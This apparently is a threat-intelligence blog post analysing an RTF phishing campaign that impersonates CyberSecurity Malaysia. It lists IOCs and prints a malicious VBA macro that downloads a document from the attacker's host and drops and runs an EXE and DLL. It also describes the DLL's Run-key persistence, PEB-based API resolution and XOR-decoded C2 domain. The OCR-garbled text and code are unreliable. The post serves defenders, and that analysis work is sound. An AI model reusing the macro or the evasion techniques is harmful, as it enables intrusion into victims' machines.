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This post was authored by Fareed.

This blog post is intended to give a better overall picture of a malicious document attack that
believes to be targeted at Malaysians. This blog post might useful for security engineers,
researchers, and security analysts to catch up with current cybersecurity issues specifically
malware threats and APT hunting. By the end of this blog post, readers will understand the
inner working of this recent malware attack that happened to the compromised user via a
malicious RTF document. Furthermore, security analysts can collect the given I0Cs
extracted from the malware to check whether your environment has been compromised or
not.

Introduction

On 30 March 2022, the Netbytesec team come across a tweet from Shadow Chaser Group
(@ShadowChasing1) which is well known as one of the groups focused on APT hunt and
analysis. The researcher from the Shadow Chaser Group claimed that they found an
interesting RTF sample which Netbytesec team believes the samples are linked to Malaysia
as the name and content of the RTF samples containing Cyber Security Malaysia's acronym

name, CyberGuru logo, and Malaysia Ministry of Communications and Multimedia's emblem.
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9 Shadow Chaser Group

Today our researchers have found interesting sample
ITW:bc3102871cff7431440dbee8d7f1aebb
filename: Training Schedule Year 2022.doc

Template
hXXps://mckeaguee.com/salwa.dotm
ITW:4ce106b72de51c55781d6d55e758a636
filename: GoogleServices.dll

mclartyc[.]Jcom

ey

Figure 1: Shadow Chaser Group's tweet about the RTF sample

Netbytesec team collected all the IOCs from Twitter's thread of the tweet and retrieve the
samples from VirusTotal for our further analysis.

Indicator of Compromises

MD5 Hashes

1. Training Schedule Year 2022.doc - bc3102871cff7431440dbee8d7f1ae55
2. CSM-ACE_Delegates_Kit.doc - 99f02db0641f2bb5680fdd08e59dd2e0

3. CSM 2022.doc - aac4b8e7e637c5b73e0801bc113ecOaa

4. CSM-ACE Delegates Kit.doc - 44f989a9dd3958611189eaca5b32444d

5. Salwa.dotm - d50e5febbbb53fb439df73b976db790c

6. Training - 3890c7037e01edf40ce6700491a49dd3
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7. GoogleServices.dll - 4ce106b72de51c55781d6d55e758a636
8. GoogleDesktop.exe - 9f5f2f0fb0a7f5aa9f16b9a7b6dad89f

RTF template injection URLs

1. hxxps://mckeaguee[.Jcom/salwal.]Jdotm

2. hxxps://mckeaguee[.Jcom/suhaimi[.]Jdotm
3. hxxps://mckeaguee[.Jcom/rushidan[.]dotm
4. hxxps://mckeaguee[.Jcom/hamizan[.]dotm

Domain name and IP addresses

1. mckeaguee[.Jcom - 206.166.251.228 (RTF communication)
2. mclartyc[.Jcom - 139.177.184.80 (DLL communication)

RTF document contents

M CyberGuru
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Figure 2: bc3102871cff7431440dbee8d7f1ae55
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Cybersecurity Malaysia 2022 Conference Kit

Figure 3: aac4b8e7e637c5b73e0801bc113ecOaa

Figure 4: 99f02db0641f2bb5680fdd08e59dd2e0 and
44f989a9dd3958611189eaca5b32444d
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Executive Summary

Netbytesec team started the investigation by analyzing the RTF specimens. All collected
RTF samples used remote template injection techniques to abuse the template function of
RTF to load malicious template documents containing malicious VBA code from a remote
server. The malicious macro in the template then will load another Word document from the
server that contains two PE files object which will be used by the macro to drop malicious
EXE and DLL which does the C2 connection capability to the attacker server resulting in the
compromise of a victim machine. The infected machine will consistently load the executable
during startup as the malware will create a persistent mechanism via registry once the
executable is executed for the first time. This behavior will ensure the connection to the C2
server whenever the victim starts their machine from a shutdown state.

Load document (training)
containing malicious Inline Shapes

—
S S - D
% B

User open Load template containing Macro execute
malicious RTF macro (template injection)

document from mckeaguee.com

Drop malicious

EXE and DLL

-— — B
[ DLL | | EXE ]
C2 server:
mclartyc.com l
AN

Create Autorun registry for
Persistent mechanism

Figure: Flow of Malware

Technical Analysis

In this technical analysis, the Netbytesec team was able to retrieve those samples that were
being uploaded to VirusTotal and Any.Run. Netbytesec team then conduct RTF analysis,
malicious macro analysis and reverse engineering on the samples.

5/26


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2McS11JaOeS6iEzN1xnvkK5UEp4QGBtNmoxPfMyZFXEYrMYoE4VjTyfkgjmhJr2_fO93uxDfDFjWtx-zjOB6GcPRwOJu0bQbXxV6AGhKcXVyncAvmV5IoQRAK-XytELfi7oBl8RXi2VC8jHGvcQ2Bq_zlrFEhm2VaxuOtoBIj_XvkQ2uA0HyT4K8o3Q/s801/RTF%20flow.jpg

RTF analysis

The Netbytesec team started the analysis by opening the RTF to observe the behavior of the
RTF sample. Upon opening one of the RTF samples, Microsoft Word will try to fetch a
template as the Word's ribbon shows that the software tries to open a remote template from
a URL "https://mckeaguee[.Jcom". The figure below shows the document trying to retrieve a
remote template from the internet.

‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘

nnnnnnn

Figure 5: Word try to load template injection

Observing this behavior, the Netbytesec team assumes that the malware author uses RTF
template injection as we have researched this technique last year which can be referred
here for an explanation of this new emerging technique.

Below the figure, our analyst grep keyword "template" from all the RTF samples to display
the template injection URLSs.
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s1@ADESKTO - /RTF samples$ 1s -la
total 776
drwxrwxrwx 1 wsl wsl 4096 Apr 4 l4:

1
drwxrwxrwx 1 wsl wsl 4096 Apr 4 14:
-rwxrwxrwx 1 wsl wsl 99502 Mar 31 21:

1 wsl wsl 98652 Mar 31 21: C

-rwxrwxrwx 1 wsl wsl 585849 Mar 31 21: fear 2022

s1aDESKTOP-GQJHGBI ¢, /RTF samples$ grep template
CSM-ACE Delegates Kit 2:{\fhiminor\f315@6\fbidi \fswiss\fcharset@\fprq2{\s\panose 020f0502020204030204}Calibri; lj{\*\template https://mckeaguee.com/hamizan.dotmﬂ
{\fbiminor\f31507\fbidi \froman\fcharset@\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f292\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}
CSM-ACE_Delegates_Kit:{\f295\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}l\*\t:m:iat: https://mckeaguee.com/;uhaimi.dotml{\fZQG\fhidi \froman\fcharse
t162\fprq2 Times New Roman Tur;}{\f297\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\f298\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic)
i
Training Schedule Year 2022:{\f418\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;}d\*\tcm:iatc https://m(keaguee.com/salwa.dotmb{\f419\fbidi \fswiss\fcharset177\f
prqz Calibri (Hebrew);}{\f420\fbidi \fswiss\fcharset178\fprq2 Calibri (Arabic);}{\f421\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}

s1aADESKTOP-GQJHGBT : /RTF samples$

~TWXTWXTWX

Figure 6: Using grep command to find template injection location

Hence, we confirmed that this RTF implements the RTF template injection technique on the
samples.

Malicious macro and malicious Inline shape

After the RTF load the remote template, the document will automatically execute the
malicious macro code embedded inside which led to the execution of an executable named
"GoogleDesktop.exe". In the figure below, we put comments to explain what the line of codes
does.

Attribute VB_Name = "ThisDocument"
Attribute VB_Base "0{00020906-0000-0000-COO0-D00DABAOOALE}"
Attribute VB_GlobalNameSpace e
Attribute VB_Creatable - Fal
Attribute VB_PredeclaredId
Attribute VB_Exposed True
Attribute VB_TemplateDerived
Attribute VB_Customizable
Private Sub Document_Open()
Dim docum Variant
ckal - Options.DefaultFilePath(wdTempFilePath)
cdps "C:\ProgramData\Microsoft\Crypto\"
docum - Documents.Open(FileName:-"https://mckeaguee.com/training", ReadOnly: Format : = "wdOpenFormatDocument "}
Dpim substr String
Dim edp String
Dpim fso: Set fso = CreateObject("Scripting.FileSystemObject")

Shape In ActiveDocument.InlineShapes
substr - Shape.AlternativeText
Shape.Range.Copy

InStr(substr, ".ex") > 0
ep = ckal
edp = ckal 5 "\" & substr
fso.FileExists(edp)
FileCopy ep, edp

Instr(substr, ".d1l") > 0
ep = ckal “\p"
dp - ckal & "\" & substr
fso.FileExists(dp)
FileCopy ep, dp

ActiveDocument .Content.Font.Hidden
CreateObject("WwScript.Shell")
.Run edp, 1, True
End
End Sub

Figure 7: Malicious macro code

7/26


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7cuPrbst6KJFUZnIvo0NYz4ZUtuZq2q7xy2A92CB5HC4pN8wQ2Kq4R7HdwD9m6PRsdqyEaxuvVxAyuISbJ1dPBc70wRcDIgJ1VfyWQ5qUMM5mOgG0hyP1nVMCQT8lG-m19Momu5xU6ks7twTvldB8C0Qt9apdy2Wl_uhbkgaAcYrb6HJON6Km24ggrA/s1443/e.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFfk_8rL76XR6Ip7oXD6N7u_m-OUkcL8c_woIM0PCBrBfV3lrZp42l-ESfFbPD_Mr5khndMv48E5mbV6D0aCRxrQvK__PGh4VbLPz8oQHWYXbxpoUSLhzqT8LpcrQOo97ahgRYqbSvbMy-dWbhLni2U3PxGxjLvHUDwYi00cxbCQRYWHZdnAA-kXwyOg/s1397/zi.png

First, the code will determine the temp file path into variable ckal that will be used to save an
EXE file and a DLL file. In line 13, we can see that the macro will retrieve a document from
URL https.//mckeaguee.com/training and replace the document with the currently opened
document.

After doing that, at line 21, the embedded macro gets the EXE file (inline shape) contained in
the newly replaced document and checks whether the AlternativeText contains strings ".ex"
to identify the existence of the file. It then copies the file into the temp folder with the filename
that the malware author put in AltBox of the inline shape. The same goes for line 28 for the
DLL copy activity.

At the last line of the malicious code, the macro will execute the EXE file which led to the
DLL loading of the GoogleServices.DLL which does the malicious behavior.

In the figure below, we can see that the malware author put the Inline shape object above the
emblem.

[ B ]
» J i: Malicious Inline Shape:
U H 1. GoogleDesktop.exe (E)
2. GoogleServices.dll (D)
n___ NN

Cyber
CYRER SECURITY PROFESSIONAL DEVILOPMENT
MINISTRY OF COMMUNICATIONS
AND MULTIMEDIA MALAYSIA ‘}‘
Fundamental Program| StandardF (| pop | Mar | Apr
Duration| ee(RM)

1| CryptographyforBeginners 1day 1,200.00 22
2| cyberSecurity Essential 2days 1,300.00 | 19-20
3| CyberTerrorism 3day 2,400.00| 4-6 15-17
4| DataEncryptionfor Beginners 1day 1,200.00 22
5| DigitalForensicEssential 2 days 1,950.00 2-3
6| Introducti Busi inuit 2days 1,800.00 2-3
7] ionSecurity stem(1SMS)-Introduction 1day 1,000.00 29
8 -UnderstandingSecurityTarger.Protectionfrobles: 1day 1.200.00 =
9| Search-FuPowerSearchTechnique 2 days 1,600.00 2-3

10 CloudSecurity Foundation 3days 3,780.00 | 25-27

Intermediare Frogram| Standard | | | pop | Mar | Ape

Duration| Fee{RM)

1| Cryptographyfori nformationSecurityProfessional 3 days 3,600.00 8-10
2|150/1EC27001:2013Informati iy 15M5) -Impl ion 3days 3,500.00 15-17
3| NetworkSecurityAssessment 2 days 2,200.00 | 5-6
4| ServerandDesktopSecurity Assessment 2days 2,200.00 | 19-20
5| WebApplicationPenetrationTesting 3days 3,780.00 15-17
&l emarrrardRazderCamrite S Az sannnnl 1n1a T11

Figure 8: Inline Shape object
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Inside the GoogleDesktop.exe

Inspecting the import functions of the executable reveals that the application will call
GoogleServices_1 function from GoogleServices.dll.

Address

00402000
00402008
0040200C
00402010
00402014
00402018
0040201C

00402020
00402024

Ordinal

Name Library
__imp_GoogleServices_1 GoogleServices
HeapAlloc KERNEL32
GetProcessHeap KERNEL32
HeapFree KERMEL32
ExitProcess KERMNEL3Z
GetModuleHandleA KERNEL32
GetStartupInfoA KERMEL3Z
SetErrorMode KERNEL32
GetCommandLineW KERNEL32

Figure 9: Imports functions

If we look down at the address 0x4010D9, the malware invokes the malicious function
GoogleServices 1 to start the infection.

T ¥
il s =
Ltext:084010CC
.text:004010CC loc_4B18CC:
.text:084018CC push eax
.text:084018CD push esi
.text:084018CE push ]
.text:00401008 push ] ; LpModuleName
Jtext:004016D2 call ds:GetModuleHandleA ; Executable handle
.text:084010D8 push eax
.text:00401009| call GoogleServices_1 |, Call GoogleServices.dll with specify export name
Ltext:004016DE mov esi, eax
Ltext:004010EG call sub_4@8111F
.text:084010E5 push esi : uExitCode
.text:004010E6 call ds:ExitProcess
.text:004010E6 start endp
Ltext:004010E6

Figure 10: GoogleDesktop.exe invokes the malicious function

In the next few sections, we will focus on DLL functionality where most of the malicious
behavior is done by the DLL.
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Malicious DLL export functions

Netbytesec team first determines the DLL's export to dig down the interesting and malicious

functions that reside in the PE file.

bl X8 9

-5 c\users\user\desktop\.googleservices.dll
----- ail indicators (4/28)

----- P virustotal [18/67)

..... > dos-header (B4 bytes)

B dos-stub (208 bytes)

..... = file-header (time-starmp)

..... = optional-header (file-checksum)

..... A directories (time-stamp)
..... = sections (99.08%)
..... > libraries (count)
- | imports (11/66)
exports (GoogleServices_1)

ordinal (1) name (1) location
GoogleServices 1 Fet: 10001 CB0

Figure 11: The DLL containing an export

In the GoogleServices 1 export, it contains two sub-function which are malicious_function
which was renamed by our analyst, and the ExitProcess function. Note that our analyst has
rebased the program in the IDA Pro to follow their x32dbg offset. The address might differ

from yours.

FZIE

Ltext:74881CB0
Ltext: 748531080
Ltext:748581CE0
Ltext:V4EE1CE0
Ltext:74881CBO
Ltext:748581CB0

; Exported entry

Attributes:

Ltext:74881CB0 call
.text:74881CB5 push 1
Ldext: 74881067 call

Ltext:74B81CBT

1. GoogleServices_1

norecurn

.text:74881CB0 public GoogleServices_1
.text:74881CB0 GoogleServices_1 proc near
malicious_function

; UExitCode

ds:ExitProcess
.text:74881CB7 GoogleServices_1 endp

; Create registry, decode winAPI in runtime, connect C2
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Figure 12: GoogleServices_1 function

In the "malicious_function" function (0x74881CBO0), the function basically will create a
registry key, decode the WinAPI function name in runtime and then connect to their
command and control server.

Resolve Windows API function names

The malware author uses a function routine that our analyst renamed
"wrap_function_resolve_runtime" to resolve a lot of Windows API functions name during

runtime. For example, the figure below shows the function "wrap_function_resolve_runtime'

(0x736F1BD4) was used to resolve the "LoadLibraryA" name before the malware called
LoadLibraryA (0x736F1BFOQ) function to load wininet.dll during the runtime.

Ltext:736F1BCA
text:736F1BCO
.text:736F1BCO
text:736F1BCO
Ltext:736F1BCA
text:736F1BC1
text:736F1BC3
text:736F1BCE

malicious_function proc near

var_240= byte ptr -240h

Ltext:736F1BCC
.text:736F1BD1
text:736F1B6D2
text:736F1BD3
text:736F1BD4Y

.text:736F1BD9
text:736F1BDB

push ebp

mov ebp, esp

and esp, OFFFFFFF3h
sub esp, 244h

mowv ecx, 4B27ECSEh
push ebx

push es1

push edi

call wrap_function_resolve_runtime
test eax, eax

jnz short loc_736F1BEB

v

FIFE

Ltext:736F1BDD mov
.text:736F1BEZ call
Ltext:736F1BEY test
.text:736F1BE9 jz

ecx, 50154DOCh

wrap_function_resolve_runtime

eax, eax
short loc_736F1C&6

¥

¥

il s 5

.text:736F1BEB
.text:736F1BF0
Ltext:736F1BFZ test
Ltext:736F1BF4 jz

.text:736F1BEB
.text:736F1BEB loc_736F1BEB:

short loc_736F1C46

push offset aWininet ; "wininet"”
call Bax ; LoadLibraryA
edx, 2ax

Return the name of WinAP! function in EAX

EAX being call

Figure 13: Resolving WinAPI function names
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If we track down the reference call of this "wrap_function_resolve runtime" function, the
malware makes a lot of calls for this function to resolve several Windows API function name.

-text:
-text:
-text:
-text:
Stext:
-text:
-text:
-text:
-text:
Stext:
-text:
-text:
-text:
-text:
Stext:
-text:
-text:
-text:
-text:
Stext:
Stext:
-text:
-text:
-text:
-text:
Stext:
-text:
-text:

74881000

74881000 ;

74881000
74881000
74881000
74881000
74881000
74881000
74881000
74881000
74881000
74881000
74881000
74881000
74881000
74881001
74881003
74881006
7488100C
74881000
7488100E
7488100F
74881012
74881015
74881018
74881018
74B8101E
74881020

wrap_function_resolve_runtime proc near

var_24= dword ptr -24h
var_20= dword ptr -20h
war_1C= dword ptr -1Ch
var_18= dword ptr -18h
var_l4= dword ptr -1&h
war_10= dword ptr -10h

var_C= dword ptr -0Ch
var_8= dword ptr -8
var_t= dword ptr -&

push ebp

mav ebp, esp

sub esp, 28h

mov eax, large fs:30h
push ebx

push esi

push edi

mov eax, [eax+dCh]
mov [ebp+var_18], ecx
mov edx, [eax+14h]
mov ebx, [eax+18h]
mov [ebp+var_20], ebx
test  edx, edx

jz loc_74881160

int _ thiscall wrap_function_resolve_runtime(void #this)

[l

-text:74881026 mov
Ltext:74881020 nop

[ebp+var_C], 3
dword ptr [eax]

.text:74881030
.text:74881030 loc_74881030:
.text:74881030 mov ecx, [edx+s]
.text:74881033 mov edx, [edx]

.text: 74881035 mov [ebp+var_10], edx
-text:74881038 mov [ebptvar_24], ecx
-text:7488103B cmp
.text:7488103D jz

ecx, ebx
loc_74881160

Directior Typ Address

Eo. p

o

(Fl e ) e ) G

wrap_create_registry_pe_
wrap_create_registry_pe
wrap_create_registry_pe.
wrap_create_registry_pe.
wrap_create_registry_pe.
wrap_create_registry_pe
wrap_create_registry_pe
wrap_create_registry_pe.
wrap_C2_connection+1FD
wrap_C2_connection+291
wrap_C2_connection+2C4
wrap_C2_connection+333
wrap_C2_connection+333
wrap_C2_connection+37C
wrap_C2_connection+3BE
wrap_C2_connection+3DA
wrap_C2_connection+3FF
wrap_C2_connection+40D
wrap_C2_connection+42A
wrap_C2_connection+477
wrap_C2_connection+49D
wrap_C2_connection+4C5
wrap_C2_connection+50A
wrap_C2_connection+54E
wrap_C2_connection+55F
wrap_C2_connection+576
malicious_function+14
malicious_function+22

Text
aall
aall
aall
aal
call
aall
aall
aall
aal
cal
aall
aall
aall
al
cal
call
aall
aall
aall
cal
call
aall
aall
aall
aal
call
aall
aall

wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime
wrap_function_resolve_runtime

Line 1 of 28

oK

Cancel Search

Help

Digging down to see the inner code of the function will give us hints that the malware author
uses PEB structure to get all the loaded module lists, their base address, and exported

function addresses.

Figure 14: Cross references of function "wrap_function_resolve_runtime"
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1|int __thiscall wrap_function_resolve_runtime(void #this}
2

3| struct PEBE_LDR_DATA =Ldr; // eax

4 _LIST_ENTRY #Flink; // edx

5 _LIST_ENTRY =#Blink; // ebx

5] _LIST_ENTRY =v&; // ecx

7 _LIST_ENTRY =vh5; // ecx

8| int Blink_high; // edi

9| dint w73 Sf esi

16 _LIST_ENTRY =v8; // ebx

11| unsigned __int8 v9; // dl

12 | unsigned __int8 vi@; // cl

13 int v11; // eax

14 | int wv12; // ebx

15| int v13; // eax

16 | int wvi4; f/ ebx

17 | const char »v15; // ebx

18 | unsigned int vi6; // esi

19 | unsigned int vi17; // edi
20| dint v19; // [esp+18h] [ebp-24h]
21 _LIST_ENTRY =#v2@; // [esp+l4h] [ebp-2@h]
22 int v21; // [esp+18h] [ebp-1Ch]
23 int v23: // [esp+28h] [ebp-14h]
24 | _LIST_ENTRY =#v24; /f [esp+24h] [ebp-10h]
25 _LIST_ENTRY =%v25; // [esp+2Ch] [ebp-2h]
26| unsigned int v26; // [esp+30 [ebp-t&h]
27
28| Ldr = NtCurrentPeb()—Ldr;

29| Flink = Ldr—InMemoryOrderModulelist.Flink;
30| EBElink = Ldr—InMemoryOrderModulelist.Blink;
31 v28 = Blink:

32 if ( Flink }

33 {

while ( 1)

Figure 15: Decompiled version of "wrap_function_resolve runtime" function

In this method, malware can simply get all the loaded module lists, their base address, and
exported function addresses by using PEB information. The malware will be able to parse
PEB information to read the image base of required modules, calculate the export addresses
and make the call to the address instead of calling GetProcAddress and LoadLibrary to get
the address of a Windows API. As a result, malware can remain stealthier at some level
because suspicious functions like GetProcAddress are not being called.

Create registry as persistent mechanism
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In the "malicious_function" (0x74881CBO0) function, the malware first will call a sub-function
that will do a creation of registry key for the persistent mechanism as you can see at address
0x74881BFB in the figure below.

FMFIE

Ltext:74881BFB call wrap_create_registry_persistent
Ltext:74881C00 push 23Ch

Ltext:74881C05 call wrap_operator_new

Ltext: 74881004 add esp, 4

LAext:74881C00 mov ebx, eax

.text:74881C0F push 23Ch ; Size
Ltext:74881C14 push a ; val
.text:74881C16 push ebx ; woid *
Ltext:7E881C17 call _memset

Ltext:74881C1C mov esi, offset encrypted_domain_user_agent
Ltext:74881C21 add esp, OCh

Ltext:7EE81C24 mov ecx, ebx

LAext:7E881C26 sub esi, ebx

Ltext:7E881C28 mov edx, Z23Bh

Ltext:74881C20 nop dword ptr [eax]

Figure 16: Function create_registry being call

Drilling down the function, the malware first will open the corresponding Registry key which is

"Software\Microsoft\Windows\CurrentVersion\Run" using RegOpenKeyEXA by calling the
EAX value at address 0x748813A1 shown in figure below.

L L
il s
Ltext: 74881389
.text:74881389 loc_74881389:
Ltext: 74881389 lea ecx, [ebp+var_234]
Ltext:7488138F push BeCx
Ltext: 74881390 push 20106h
Ltext: 74881395 push a
Ltext: 74881397 push offset aSoftwareMicros ; "Software‘\\Microsoft\\Windows\\Currentve"
Ltext:7488139C push 20000001h
Ltext: 74881341 call eax ; ReglpenKeyExA
Ldext:TLEE13A3 test eax, edax
.text:748813A5 jnz loc_748815CF

Figure 17: Registry key being open using RegOpenKeyExA
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Then the malware will get the current module file name which is GoogleDesktop.exe to be

use to set the value in the next function call.

il s 5

.text:736F13DD
.text:736F130D
Ltext:736F13DD
.text:736F13E2
.text:736F13E8
.text:736F13E9
.text:736F13EEB

loc_736F13DD:

push
lea

push
push
call

184h

ecx, [ebp+var_218]
ecx

@

eax ;

GoogleDesktop.exe
GetModuleFileNameW

Figure 18: GetModuleFileName being use to retrieve GoogleDesktop.exe path

After, retrieve the GoogleDesktop.exe path, the malware will generate a string "Google
Notification" that intend to be used as the Registry name in the mentioned Registry.
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h J Y

FIFE il e 55

.text: 74881457 lea eax, [ecx+1] Ltext:74881479

text:7488145A cmp edx, 8 Ltext:74881479 loc_T74881479:

Ltext:7488145D mov [ebp+var_220], eax Ltext: 74881479 push 6Fh ; 'o'

Ltext: 74881463 lea eax, [ebp+var_230] Jtext: 74881478 mov byte ptr [ebp+var_238], 0

.text:74881469 cmovnb eax, [ebp+var_230] .text:74881482 push [ebp+var_238]

Ltext:74881470 mov dword ptr [eax+ecx*2], 6Fh ; 'o'| |.text:74881488 push ecx

Ltext: 74881477 jmp short loc_74881494 Ltext: 74881489 lea ecx, [ebp+var_230]
Ltext:7488148F call wrap_interesting_sameAs0

Yy
i =]
Ltext: 74881494
Ltext: 76881494 loc_74881494:
Ltext:74881494 push offset aGle 7 "gle"
Ltext: 74881499 lea ecx, [ebp+var_230]
LStext:T488149F call wrap_do_something_on_strings ; Return "Google" strings
Ltext:7468814A4 mov ecx, [ebp+var_220]
Ltext: 74881488 mov edx, [ebp+var_21C]
Ltext: 74881480 cmp ecx, edx
Ltext: 76881482 jnb short loc_748814D6
§ |
il e = il s =
.text:748814B4 lea eax, [ecx+1] .text:748814D6
.text:748814B7 cmp edx, 8 .text:748814D6 loc_748814D6:
.text:748814BA mov [ebp+var_220], eax .text:748814D6 push 20h ; '
.text:748814C0 lea eax, [ebp+var_230] .text:748814D8 mov byte ptr [ebp+var_238], 0
.text:748814C6 cmovnb eax, [ebptvar_230] .text:748814DF push [ebp+var_238]
Ltext:748814CD mov dword ptr [eax+ecx*2], 20h ; ' '| |.text:748814E5 push ecx
Ltext:748814D4 jmp short loc_748814F1 Ltext:748814E6 lea ecx, [ebp+var_230]
Ltext:748814EC call wrap_interesting_sameAs0
]
Yy

[l e =
Ltext:748814F1

Ltext:748814F1 loc_748814F1:

.text:748814F1 push offset aNotification ; "notification”

.text:748814F5 lea ecx, [ebp+var_230]

Ltext:748814FC call wrap_do_something_on_strings Generate "Google Notification" string
.text:74881501 lea ecx, [ebp+var_218]

.text:74881507 lea edx, [ecx+2]

.text:7488150A nop word ptr [eax+eax+00h]

Figure 19: The sample generate a string to be use as Registry name

Finally, using the RegSetValueExW function, the malware will set the value of

the CurrentVersion\Run registry to perform the persistent mechanism in the victim's machine.
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il s =

text:736F1556

.text:736F1556 loc_736F1556: P41 = A

.text:736F1556 push edi

.text:736F1557 lea ecx, [ebp+var_218]

.text:736F155D push BCX ; GoogleDesktop.exe's path

.text:736F155E push 1
.text:736F156@ push @

.text:736F1562 push esi ; "Google notification” strings
.text:736F1563 push [ebps+var_234] : 258

.text:736F1569 call eax i RegSetValueExW

.text:736F156B test eax, eax

.text:736F156D jnz short loc_736F1593

Figure 15: The malware will set the value according to its parameter of
RegSetValueExW

If we check the victim's CurrentVersion\Run registry, supposedly we can find the registry
name "Google notification" like in the figure below.

Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Authentication A || Na Type Data

Background abif REG S7 (ualue not cet)

Backgr.o.undAccessApplici L‘;}Google notification REG_SZ C:h\Users\User\Desktop\GoogleDesktop.exe

E;‘;ﬁb"'t"‘q“e“ma”ager 28] MicrosoftEdgeAutoLaunch_CA6CFC0629905... REG_SZ "C:\Program Files (x86)\Microsoft\Edge\Applicati...
ab| OneDrive REG_SZ "CA\Users\User\AppData'Local\Microsoft\OneDriv...

Census

ClickMote
CloudExperienceHost
CloudStore

CantentNelivenhdananer

Figure 20: Creation of Google Notification registry key

Decrypt domain name and user-agent strings

Before creating and setting up a Command and control connection, the malware first will take
a chunk of encrypted data stored in the executable and decrypt it with XOR key 0x9D to
generate the C2 domain name and user-agent string.

17/26


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_q4SDwD13m-w42lQ3FKgRucVRYhCOcoOhDZFxZ9ftjU-bt2Em90K7Q15Hh-oA9XcxpZER33GXe45ZVF_lHzQRyysZPFgB1AwF3YzPMFWLhyzLOq6UfbtV_0nw0nfViVmofDeTlS3UHXiXPBinEooQ8qhIxS7XwM33HHAxZKv1i78IxQzuK7LnKwlUGw/s569/o.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8IkEbfI6PW6qZeGlvjCpAVHNJ7alJGuJ7TbbCZOLtf-aXi8xLgTy2iJQfGiyUw7Y3VrWoSdadhiunyD2rtTG6x8D3p1N7DcU3H6_KIjNSDGJTdEjxYODmOoDfvtcYGbHlfz_HMf3PCb_u6HSmSW2PAcYN3eXpKSRYTs00JLrDeP9QImnT_yI6gu0kZg/s1016/p.png

Ltext:74881C1C mov
Ltext:74881C21 add
Stext:74881C24 mov
Ltext:74881C26 sub
-text:74881C28 mov
Ltext:74881C20 nop

esi,
esp,
ecx,
esi,

edx,

offset encrypted_domain_user_agent

ach
ebx
ehbx
23Bh

dword ptr [eax]

db

| I db

PEEE

db

Ltext:74881C30
Ltext:74881C30
Ltext:74881C30
.text:74881C33
Ltext:74881C36
Ltext:74881C3C
. text:74881C3F
Stext:74881C42

loc_74881C30: H

al, [esi+ecx]

ecx, [ecx+1]

al, xor_key
[eex-1], al

edx, 1

short loc_74881C4F

db

Create domain db

db

; _BYTE encrypted_domain_user_agent[571]
encrypted_domain_user_agent db 0F0h, OFEh, OF1h, OFCh, 0EFh, 0ESh, 0Esh, OFEh, 0B3h

; DATA XREF: malicious_function+5CTo
; malicious_function+96To

OFEh, ©F2h, @Foh, 90h dup(9Dh), 26h, 9Ch, 2 dup(9Dh)
8Dh, 0BAh, 2 dup(9Dh), @Doh, @F2h, @E7h, OF4h, 2 dup(@F1h)
OFCh, 0B2h, @Ash, ©B3h, 0ADh, 0BDh, 0BSh, OCAh, OFsh
OF3h, OFSh, @F2h, OEAh, OEEh, 0BDh, 0D3h, 0C9h, 0BDh
OACh, OADh, ©B3h, ©ADh, @A6h, 0BDh, OCAh, OF&h, OF3h
0ABh, OASh, @A6h, ©BDh, OESh, 0ABh, 0ASh, 0B&4h, 0BDh

Decrypt domain name and user-agent|string using an XOR key

L ]

[l et 5=

4881C30 ; Create domain name mclartyc.com and useragent

Ltext:74881C4F
Ltext:74881C4F loc_74B881C4F: ; Siz
Ltext:74881C4F push
.text:74881C54 push
Ltext:74881C56 push
Ltext:74881C58 call
Ltext:74881C60 add
Ltext:74881C63 lea
Ltext:748B1C67 mov
. text:74881C6C mov
Ltext:74881C6E rep movsd
Ltext:74881C70 push

23Ch
1] 7 Wal

offset encrypted_domain_user_agent ; void *

_memset
esp, OcCh

edi, [esp+250h+var_240]

ecx, BFh
esi, ebx

23Ch ; S5iz

e

e

If we observe the memory dump of the destination of decrypted data, we can see the clear

Figure 21: Buffer containing encrypted data

text of the decrypted domain name and user-agent string that will be used for the C2
connection in the next phase.
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74881C28 BA 3JEQ20000 mov edx,23B
74881C2D AF1Fea nop dword ptr ds:[eax],eax
— @ 74881C30 SAQ40E mov al,byte ptr ds:[esi+ecx]
74881C33 8049 91 lea ecx,dword ptr ds:[ecx+1]
74881C36 3205 ABAAB9T7L xor al,byte ptr ds:[7489AAAB]
74881C3C 8841 FF mov byte ptr ds:[ecx-1],al
74881C3F 83EA 01 sub edx,1
rr——® 74881C42| ~ 74 OB je googleservices.74881C4F
| —& 745881C44| -~ EB EA jmp googleservices.74881C30
I 74881C46 5F pop edi
| F4LEB1CLT 5E pop esi
I 74881C48 33C0 XOT eax,eax
| T4BE1CLA 5B pop ebx
| 74881C4E 8BES mov esp,ebp
I 74881C4D 5D pop ebp
| TLEBICLF Cc3 ret
¢ <
23C L'¢g’
.text:74881C4F googleservices.dl1:$1C4F #104F
4% Dump 1 Uiy Dump 2 iy Dump 3 Uiy Dump 4 Y Dump & @wmhl [x=] Locals ? Struct
Address | Hex ASCIT
P30851CA| 6D €3 6C 61|72 74 79 6©3(2E 63 6F 6D |00 00 00 0@ mclartyc.com]...
